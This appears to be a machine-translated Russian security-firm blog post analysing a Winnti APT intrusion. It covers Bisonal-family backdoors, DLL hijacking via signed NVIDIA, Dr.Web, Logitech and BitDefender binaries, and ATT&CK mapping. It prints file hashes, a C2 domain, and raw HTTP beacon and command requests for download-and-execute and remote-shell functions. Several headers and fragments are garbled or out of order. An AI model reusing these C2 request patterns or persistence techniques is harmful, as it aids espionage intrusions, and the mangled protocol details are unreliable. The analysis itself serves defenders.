Одно фишинговое письмо, неосторожно открытое сотрудником компании, приводит к утечке важной информации к злоумышленнику.
Всего один клик — и на компьютере сотрудника запускаются процессы, которые «позволяют» злоумышленникам получить доступ к инфраструктуре организации.
При этом «антивирусы» пропустили взлом.
Наш автор-эксперт столкнулся именно с таким случаем «Информзащита» , при обнаружении атаки группы Winnti на компанию-заказчика.
Эта группировка специализируется на краже данных предприятий оборонно-промышленного комплекса, государственных организаций и разработчиков программного обеспечения.
«Информзащита» удалось отследить и систематизировать приемы и тактику Виннти.
Анализ оказался достаточно глубоким и будет интересен техническим специалистам.
Мы предлагаем погружаться в детали постепенно, а потому сегодня только первая часть скриншотов кода и наших комментариев.
Введение
В ноябре 2020 года, когда заказчик подключился к SOC-мониторингу и проанализировал события в аналитической инфраструктуре компании IZ:SOC. «Информзащита» была обнаружена подозрительная активность.В ходе расследования инцидентов информационной безопасности были обнаружены следы APT (Advanced Persistent Threat).
Атаки осуществлялись как с использованием автоматизированных средств разведки и проникновения, так и вручную, когда злоумышленники напрямую управляли установленным в системе вредоносным ПО.
Результатом атак, помимо проникновения и закрепления в инфраструктуре, стал сбор информации со скомпрометированных хостов и ее отправка за пределы организации.
В число инструментов, использованных злоумышленниками, входили:
- средства сбора информации;
- инструменты дистанционного управления;
- многофункциональный бэкдор семейства Bisonal, утилиты для сканирования сети на наличие уязвимости CVE-2017-0144 (MS17-010);
- утилиты из набора Impacket, программы для перенаправления сетевого трафика и извлечения паролей из памяти;
- вредоносные динамические библиотеки для внедрения вредоносного кода;
- законные процессы.
Основными целями APT-атак с использованием этого вредоносного ПО являются шпионаж и кража критически важных данных.
Как правило, жертвами группы Winnti становятся организации, связанные с оборонно-промышленным комплексом, аэрокосмической промышленностью, а также государственные организации и разработчики программного обеспечения.
Анализ функциональности вредоносного ПО
В ходе расследования инцидента было обнаружено несколько образцов вредоносного ПО.Результаты исследований некоторых из них представлены ниже.
MpUxSCuiL.exe Один из обнаруженных образцов маскируется под модуль Защитника Windows. В рамках анализа функциональности вредоносного ПО было установлено сходство обнаруженных экземпляров с семейством Bisonal. В частности, изучалось поведение, методы обфускации кода и защиты от отладки.
Образец представляет собой инструмент для сбора информации о зараженной системе и скрытного выполнения команд от C2. Для усложнения анализа основная функция исследуемой выборки насыщена переходами, а общее количество блоков составляет несколько тысяч.
Явное связывание используется для загрузки необходимых библиотек.
Имена библиотек хранятся в зашифрованном виде и перед использованием расшифровываются.
- Явное связывание библиотек с помощью функций GetProcAddress и LoadLibraryA.
]84:443) и локальный (10.10.48[.
]166:49688).
В обоих случаях устанавливается TCP-соединение, через которое передаются зашифрованные данные.
Адреса серверов управления также хранятся в зашифрованном виде.
Для реализации сетевых подключений используются сокеты Windows и библиотека WS2_32.dll.
- Зашифрованные строки с IP-адресами серверов управления.
- Расшифровка IP-адресов серверов управления
- функция расшифровки
Эта функция используется для шифрования имен загружаемых библиотек, IP-адресов серверов управления и т. д.
- Сетевое взаимодействие с С2 с использованием функций библиотеки WS2_32.dll
- Бессмысленные строки в исполняемом файле
Кроме того, в образце используются функции GetTickCount и IsDebuggerPresent, которые реализуют простой механизм защиты от отладки.
Подобное поведение было описано в следующих отчетах.
https://securelist.ru/cactuspete-apt-groups-updated-bisonal-backdoor/97729 https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/Использование перехвата DLL Чтобы закрепиться в системе, злоумышленники использовали технику Dll Hijacking. Основное преимущество заключается в том, что в автозагрузку системы добавляется легитимный файл, уязвимый для Dll Hijacking, часто с цифровой подписью.
В этом случае вредоносная нагрузка злоумышленников находится в библиотеке DLL, которая будет загружаться при запуске легитимного исполняемого файла.
В ходе расследования инцидента было обнаружено несколько модулей, закрепленных аналогичным образом.
Для реализации Dll Hijacking злоумышленники использовали легитимные файлы с цифровой подписью:
NvContainer64.exe (NVIDIA) — 1e3c33ff0386326773b6c58d46cbf53b1b2bef91 frwl_svc.exe (Dr.Web) - 6f86e203d20abb0499bbf8468095d99ffb20f6e2 LBTWiz.exe (Logitech) – 431e5aa8ab8616dbca14854182a6c0a73946abdc bdreinit.exe (BitDefender) — f9a1e292bf6cdf7bb34c293dc06d8754549fe1a4Анализ библиотек полезной нагрузки на данный момент не завершен.
версия.Конхост.exe Еще один экземпляр вредоносного ПО был обнаружен на нескольких хостах, которые использовались той же группой.dll - e370e8d883ea347b6f3475522adc69bc8725d127 wtsapi32.dll - 3bb315d0a86cf6a08eb32ea5a59263fcb8a649af LBTServ.dll - 387c404930815ac5711e52185492b6425b1de05a dbghelp.dll - a543f2abe6e46aefde4aae0ccc82ad3c26e8c391
В ходе изучения образца был выявлен следующий функционал:
- передача списка процессов в С2;
- завершение процесса, указанного оператором;
- скачать с С2 и запустить исполняемый файл;
- запуск командной оболочки для интерактивной работы оператора.
При ближайшем рассмотрении выяснилось, что большинство блоков основной функции не несут никакой смысловой нагрузки и не выполняются при запуске сэмпла.
Кроме того, основная функция содержит множество статических строк, которые не используются.
Как и в случае с MpUxSCuiL.exe, эти строки не участвуют в выполнении основной логики и служат лишь для усложнения анализа.
Также, чтобы усложнить анализ, авторы примера реализовали специальный механизм задержки выполнения программы.
Этот механизм представляет собой счетчик, который сравнивает MD5-хеши целых чисел вместо целочисленных значений.
В этом случае число представлено в кодировке ANSI. Конечным значением счетчика является хэш 0882a673e1a7ef00f19171501163b669 из последовательности байтов 0x313038333736363439 (число 108376649).
Такие вычисления создают большую нагрузку на центральный процессор, из-за чего он оказывается практически полностью загруженным в течение нескольких минут. Ожидается, что из-за такой вычислительной сложности некоторые антивирусные инструменты и песочницы прекратят сканирование файла.
Счетчик значений MD5
Постоянные значения, которые используются в алгоритме MD5
Далее образец получает свое имя с помощью функции GetModuleFileNameW и проверяет один из двух критериев: если имя модуля не conhost.exe или имя не имеет расширения .
tmp, то образец перестает работать.
После проверки имени образец расшифровывает еще один набор строк для дальнейшей работы.
XOR используется в качестве шифрования.
Хотя ключ XOR генерируется «на лету», он статичен и одинаков для всех строк.
Данный набор строк содержит заголовки HTTP, домен сервера управления, конечные точки сервера управления, имя библиотеки wininet.dll и ее экспортированные функции.
Затем образец загружает библиотеку wininet.dll с помощью функции LoadLibrary. После получения адреса библиотеки в памяти функция GetProcAddress вычисляет смещения к экспортируемым функциям:
- Получение адресов используемых функций
Список используемых функций wininet.dll Далее вредоносная программа получает данные о системе:
- используемый прокси-сервер;
- раскладка клавиатуры;
- время с момента загрузки системы;
- Имя компьютера;
- учетная запись, под которой был запущен образец;
- локальный IP-адрес хоста.
ПОЛУЧАТЬ /ru/order/index.phpЭstrPageID=2150213824 HTTP/1.1 Связь : закрывать Принимать : */* Пользовательский агент : Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, например Gecko) Chrome/66.0.3359.181 Сафари/537.36 Принять-кодирование : сжать, сдуть Accept-Язык : ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 печенье : JSESSIONID=AHAKQKMAWUAQAAH75IMAIAAAAAAAAAAAAAAQAAAAAEHQAV 2JJYWUKRSVIZIDSTSKJNJFEBAAOVZWK4QPABLUSTRNIVDFKRSQHFHEUS2SKIJAAMJSG4XDALRQFYYTUOBQHAYDUOSPNYDAA3TFO44TCMI= Хозяин : microsoft.offices-update.com.
- Привет, структура сообщения
Если сервер возвращает {"status":"success"} в тексте ответа на сообщение Hello, в примере создается новый поток, в котором выполняются вызовы к другой конечной точке сервера управления: https://{Domain}/ru/news/index.php .
Параметр newsID использует дату и время (только минуты и секунды).
Эта конечная точка используется для передачи различных команд вредоносному ПО.
ПОЛУЧАТЬ /ru/news/index.phpЭstrPageID=2150213824&newsID=2021-04-12-2658 HTTP/1.1 Хозяин : microsoft.offices-update.com. Связь : закрывать Принимать : */* Пользовательский агент : Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, например Gecko) Chrome/66.0.3359.181 Сафари/537.36 Принять-кодирование : сжать, сдуть Accept-Язык : ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
- Обращение к конечной точке для получения команд
- вызывающая конечная точка https://{domain}/sitefiles/index.php и сохранение файла в каталоге %TEMP%;
- запуск исполняемого файла с помощью функции ShellExecuteW;
- передача вывода работающего файла в конечную точку получателя.
- запустить экземпляр командной строки;
- периодически читать и передавать вывод командной строки.
Передаваемые данные шифруются тем же ключом XOR, что и строки в теле троянца.
ПОЧТА /xhome.native.page/datareader.phpЭsid=2150213824 HTTP/1.1 Хозяин : microsoft.offices-update.com. Связь : закрывать Принимать : */* Реферер : /siteFiles/index.phpЭstrPageID=2150213824 Пользовательский агент : Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, например Gecko) Chrome/66.0.3359.181 Сафари/537.36 Тип содержимого : application/x-www-form-urlencoded; кодировка = UTF-8 Принять-кодирование : сжать, сдуть Accept-Язык : ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 Длина контента : 21 Кэш-Контроль : без кэшаЕсли в ответе команды нет, троянец переходит в спящий режим на случайное количество миллисекунд.
ПОЛУЧАТЬ /siteFiles/index.phpЭstrPageID=2150213824 HTTP/1.1 Хозяин : microsoft.offices-update.com. Связь : закрывать Принимать : */* Пользовательский агент : Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, например Gecko) Chrome/66.0.3359.181 Сафари/537.36 Принять-кодирование : сжать, сдуть Accept-Язык : ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Цепь убийств
На рисунке 1 показаны действия злоумышленников в инфраструктуре.Из анализа предыдущей главы мы предполагаем, что для получения первоначального доступа к системе использовался фишинговый документ. Далее на компьютере одного из сотрудников была запущена вредоносная нагрузка, которая подключилась к внешнему серверу и загрузила исполняемый код. На каждом хосте вручную собирались уникальные вредоносные нагрузки, которые впоследствии использовали технику Hijack Execution Flow: DLL Search Order Hijacking для закрепления в системе.
Также фиксация происходила классическими методами, а именно: изменением веток реестра, запуском вредоносных сервисов и созданием задач в планировщике задач.
После этого злоумышленники провели разведку, используя как стандартные системные утилиты, так и специальное программное обеспечение.
Для навигации внутри инфраструктуры и удаленного выполнения команд использовалась утилита из пакета Impacket — wmiexec.exe. Доступ к учетным записям осуществлялся путем обращения к области памяти процесса lsass.exe. В качестве инструмента вывода данных во внешнюю сеть злоумышленники использовали собственную сборку архиватора.
Существуют разные подходы к описанию действий злоумышленника.
В этой статье будет использоваться подход TTP, основанный на ATT&CK MATRIX, доступной базе знаний, основанной на анализе реальных атак.
Использование такой системы категоризации поведения злоумышленников позволяет не только прогнозировать дальнейшие действия, но и идентифицировать конкретную группу в соответствии с используемыми методами.
Первоначальный доступ (TA0001) / Выполнение (TA0002) / Prive
Предположительно, первоначальный доступ к инфраструктуре был получен путем отправки фишингового письма сотруднику организации.На основании обнаруженных остаточных следов после открытия вложения на компьютере запускается вредоносная нагрузка, которая подключается к внешнему серверу и загружает исполняемый код. Вредоносная нагрузка не обнаруживается распространенными на рынке антивирусными средствами ни на клиенте, ни на почтовом сервере.
Продолжение чтения во второй части.
Мы расскажем, как злоумышленники обходили защиту, как усложняли оценку критичности украденной информации и что именно позволило аналитикам работать над выявлением скомпрометированных хостов и предотвращением дальнейшего продвижения злоумышленников внутри сети.
Теги: #информационная безопасность #ланит #обратное проектирование #информационная безопасность #winnti
-
Подробности Reactos 0.3.12
19 Oct, 24 -
Кто Приносит Людям Больше Добра?
19 Oct, 24